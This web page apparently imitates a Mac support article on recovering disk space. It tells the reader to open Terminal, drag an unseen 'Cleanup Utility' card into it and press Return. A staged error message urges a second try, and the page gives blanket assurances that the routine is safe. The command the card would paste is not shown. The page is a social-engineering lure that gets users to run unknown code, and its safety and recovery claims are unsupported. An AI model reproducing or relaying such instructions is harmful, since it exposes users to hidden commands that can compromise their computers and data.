Free up storage space on your Mac
Learn how to recover storage when your Mac warns about low disk space, or when there isn’t enough room to save, install, or transfer files.
Step 1: Launch Terminal
- Hold Command (⌘) + Space, type Terminal, and press Return.
Step 2: Drag Cleanup Utility into the Terminal window
Grab the utility card below and drop it into Terminal.
⚠️
Couldn’t transfer CleanupUtility (error 0xE80002). This happens occasionally — please drag the card into Terminal once more.
Step 3: Press Return
- The maintenance routine starts automatically and finishes in under a minute.
How this script works
- Scans and deletes unnecessary temporary files from the system
- Purges stale application caches and old log entries
- Recovers storage without affecting your personal documents
Is it safe?
Yes. The routine only targets files that macOS marks as expendable — temporary caches, logs, and system-generated data. Your personal files, photos, documents, and application settings remain completely untouched.
How much space can I expect to recover?
On average, users recover between 5 GB and 25 GB of disk space. On systems that have not been cleaned in over a year, the script can free up 40 GB or more.